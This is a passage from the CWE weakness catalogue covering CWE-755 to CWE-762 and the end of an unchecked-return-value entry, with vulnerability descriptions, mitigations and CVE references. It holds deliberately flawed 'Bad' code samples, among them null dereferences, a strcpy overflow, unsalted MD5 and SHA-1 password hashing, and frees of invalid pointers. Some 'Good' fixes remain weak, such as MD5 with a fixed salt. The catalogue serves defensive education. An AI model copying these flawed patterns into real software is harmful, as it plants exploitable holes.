The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following examples read a file into a byte array.

Example Language: C# *(Bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
   String userName = (String) i.Current();
   String pFileName = PFILE_ROOT + "/" + userName;
   StreamReader sr = new StreamReader(pFileName);
   sr.Read(byteArray,0,1024);//the file is always 1k bytes
   sr.Close();
   processPFile(userName, byteArray);
}
```

Example Language: Java *(Bad)*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
   String userName = (String) i.next();
   String pFileName = PFILE_ROOT + "/" + userName;
   FileInputStream fis = new FileInputStream(pFileName);
   fis.read(byteArray); // the file is always 1k bytes
   fis.close();
   processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java *(Bad)*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
   ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java *(Bad)*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
   ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java *(Bad)*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C# *(Bad)*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or

characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(Bad)*

```
void host_lookup(char *user_supplied_addr){
   struct hostent *hp;
   in_addr_t *addr;
   char hostname[64];
   in_addr_t inet_addr(const char *cp);
   /*routine that ensures user_supplied_addr is in the right format for conversion */
   validate_addr_form(user_supplied_addr);
   addr = inet_addr(user_supplied_addr);
   hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
   strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 8:

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

Example Language: C++ *(Bad)*

```
int outputStringToFile(char *output, char *filename) {
   openFileToWrite(filename);
   writeToFile(output);
   closeFile(filename);
}
```

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++ *(Good)*

```
int outputStringToFile(char *output, char *filename) {
   int isOutput = SUCCESS;
   int isOpen = openFileToWrite(filename);
   if (isOpen == FAIL) {
      printf("Unable to open file %s", filename);
      isOutput = FAIL;
   }
   else {
      int isWrite = writeToFile(output);
      if (isWrite == FAIL) {
         printf("Unable to write to file %s", filename);
         isOutput = FAIL;
      }
      int isClose = closeFile(filename);
```

```
    if (isClose == FAIL)
      isOutput = FAIL;
  }
  return isOutput;
}
```

Example 9:

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

Example Language: Java *(Bad)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
  // create readFile File object from string containing name of file
}
public void readFromFile() {
  try {
    reader = new FileReader(readFile);
    // read input file
  } catch (FileNotFoundException ex) {...}
}
```

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

Example Language: Java *(Good)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
  // create readFile File object from string containing name of file
}
public void readFromFile() {
  try {
    if (readFile == null) {
      System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
      throw NullPointerException;
    }
    reader = new FileReader(readFile);
    // read input file
  } catch (FileNotFoundException ex) {...}
  catch (NullPointerException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2023-49286	Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617) *https://www.cve.org/CVERecord?id=CVE-2023-49286*

MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2568

Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID : 755
Structure : Simple
Abstraction : Class

Description

The product does not handle or incorrectly handles an exceptional condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
   String ip = req.getRemoteAddr();
   InetAddress addr = InetAddress.getByName(ip);
   ...
   out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

Example Language: C *(Bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
   //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

Example Language: C *(Good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
   printf("Malloc failed to allocate memory resources");
   return -1;
}
```

Example 3:

The following code mistakenly catches a NullPointerException.

Example Language: Java *(Bad)*

```
try {
   mysteryMethod();
} catch (NullPointerException npe) {
}
```

Observed Examples

Reference	Description
CVE-2023-41151	SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error *https://www.cve.org/CVERecord?id=CVE-2023-41151*

CWE-756: Missing Custom Error Page

Weakness ID : 756
Structure : Simple
Abstraction : Base

Description

The product does not return custom error pages to the user, possibly exposing sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1589
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	4
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	11
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	540

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2360

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.*	

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java *(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  } catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
  }
}
```

Example 2:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET *(Bad)*

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET *(Good)*

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET *(Good)*

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

MemberOf Relationships

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID : 757
Structure : Simple
Abstraction : Base

Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the product by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities. *https://www.cve.org/CVERecord?id=CVE-2006-4302*
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher. *https://www.cve.org/CVERecord?id=CVE-2006-4407*
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol. *https://www.cve.org/CVERecord?id=CVE-2005-2969*
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using an Adversary-in-the-Middle AITM attack. *https://www.cve.org/CVERecord?id=CVE-2001-1444*
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642. *https://www.cve.org/CVERecord?id=CVE-2002-1646*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID : 758
Structure : Simple
Abstraction : Class

Description

The product uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the product is ported to a different platform or if an interaction error (CWE-435) occurs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Example 2:

The following function returns a stack address.

Example Language: C *(Bad)*

```
char* getName() {
   char name[STR_MAX];
   fillInName(name);
   return name;
}
```

Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard. *https://www.cve.org/CVERecord?id=CVE-2006-1902*

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID : 759
Structure : Simple
Abstraction : Variant

Description

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(Bad)*

```
unsigned char *check_passwd(char *plaintext) {
   ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
   //Login if hash matches stored hash
   if (equal(ctext, secret_password())) {
      login_user();
   }
}
```

Example Language: Java *(Bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
```

```
    login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python *(Bad)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python *(Good)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID : 760
Structure : Simple
Abstraction : Variant

Description

The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2465

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the

high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

MemberOf	C	1402	Comprehensive Categorization: Encryption	1400	2564

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-

used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID : 761
Structure : Simple
Abstraction : Variant

Description

The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the product to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	763	Release of Invalid Pointer or Reference	1611

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	988

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Phase: Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

Example Language: C *(Bad)*

```
#define SUCCESS (1)
#define FAILURE (0)
int contains_char(char c){
   char *str;
   str = (char*)malloc(20*sizeof(char));
   strcpy(str, "Search Me!");
   while( *str != NULL){
      if( *str == c ){
         /* matched char, free string and return success */
         free(str);
         return SUCCESS;
      }
      /* didn't match yet, increment pointer and try next char */
      str = str + 1;
   }
   /* we did not match the char in the string, free mem and return failure */
   free(str);
   return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

Example Language: C *(Good)*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
   char *str;
   int i = 0;
   str = (char*)malloc(20*sizeof(char));
   strcpy(str, "Search Me!");
   while( i < strlen(str) ){
      if( str[i] == c ){
         /* matched char, free string and return success */
         free(str);
         return SUCCESS;
      }
      /* didn't match yet, increment pointer and try next char */
      i = i + 1;
   }
   /* we did not match the char in the string, free mem and return failure */
   free(str);
   return FAILURE;
}
```

Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

Example Language: C *(Bad)*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
   if (**ap != '\0')
      if (++ap >= &argv[10])
         break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

Example Language: C *(Bad)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
   if( isMalformed( tok ) ){
      /* ignore and discard bad data */
      free( tok );
   }
   else{
      add_to_command_queue( tok );
   }
   tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

Example Language: C *(Good)*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
   if( !isMalformed( command ) ){
      /* copy and enqueue good data */
      command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
      strcpy( command, tok );
      add_to_command_queue( command );
   }
   tok = strtok( NULL, sep));
}
free( input )
```

Observed Examples

CWE-762: Mismatched Memory Management Routines

Weakness ID : 762
Structure : Simple
Abstraction : Variant

Description

The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

- The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
- The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

ParentOf	V	590	Free of Memory not on the Heap	1337

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	988

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
